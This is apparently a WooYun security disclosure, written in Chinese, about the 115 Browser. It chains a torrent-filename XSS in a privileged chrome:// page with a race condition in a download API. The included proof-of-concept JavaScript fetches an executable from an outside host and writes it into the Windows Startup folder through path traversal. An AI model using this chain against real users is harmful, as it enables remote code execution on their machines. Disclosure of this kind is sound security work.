WooYun.org

115浏览器更新啦！**.**.**.**版本，这个版本修补了之前提到的命令执行。

对于window.browserInterface接口进行了限制，在普通域下无法进行调用，但是可以在chrome域下使用，并且修复了之前的目录跳转漏洞
http://**.**.**.**/bugs/wooyun-2010-0149968。我们来进行一一突破。
-------------------------------------------
0x00 特权域XSS之邪恶的种子
-------------------------------------------
在排查特权域的途中，发现了一个有趣的功能：chrome://mini_download_frame提供种子文件的解析下载。

当选择种子的时候，就能看到种子包含的各个文件信息。现在我们测试一下这里的文件名是否经过了有效的过滤，如果没有过滤，就能获得一个特权域的XSS：

使用种子文件编辑器进行编辑，修改其中一个文件名为<script>标签，嵌入我们的恶意代码，test.js中是一句简单的alert(document.domain)，执行结果如下：

有些文件名好污....洞主也是随便找的一个种子，大家可以忽略。
-------------------------------------------
0x01 猥琐的命令执行姿势
-------------------------------------------
有了特权域XSS，我们能做的事情就很多了，前面说到了browserInterface接口在chrome是没有限制的，但是新版本的115浏览器修复了之前的目录跳转，我们依靠下载函数window.browserInterface.BatchDownloadFilesToLocal结合新建目录的跳转受到了限制，具体如下：

尝试使用URL中跳转符@进行绕过，但是同样失败了。似乎这种方法无法在被利用。
但是我在测试的过程中发现了一些有趣的现象，当多次执行下载函数后，115浏览器背后的路径权限检查和下载动作存在竞争条件，具体来讲就是多次执行时，有些下载任务在已经下载了一定字节的数据后才开始进行保存路径权限的判断。在家庭4M网络下进行测试，发现多次执行的同一条下载函数甚至可以下载到300k的数据，并且可以执行目录跳转，这么大的数据可以达到放置一个小型的木马了。
测试代码如下：

for(var i=0;i<20;i++){ 
window.browserInterface.BatchDownloadFilesToLocal(["http://**.**.**.**/cmd.exe"],["../../../Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/cmd.exe"],"test") ; 
}

上面的代码是执行下载任务20次，还是使用之前的目录跳转漏洞。可以看到，20次中，成功下载到了cmd.exe，原理就是115浏览器对于跳转目录的权限判断修补相对于下载动作来说有些滞后，导致了多次执行后，有些任务下载完成但是没有来得及进行路径权限判断，这样就导致了我们可以将exe下载到任意文件夹中，造成命令执行（下载到启动目录）。

按照惯例，录个gif：http://**.**.**.**/115exp.gif
有了上面特权XSS和跳转目录修复的突破，我们不难写出命令执行的POC，使用种子文件加载恶意的XSS代码，代码和上面相同，执行多次下载和目录跳转。
效果见gif：http://**.**.**.**/115rce.gif
这种类型的RCE是不是很猥琐？真实效果应该和用户的网速有关，洞主在4M家庭网络下进行测试，执行20次就可以成功。当网络环境差的时候，执行更多次也是能达到效果的。所以，在115网盘空间里看见了诱人的种子文件，你还敢点击下载吗？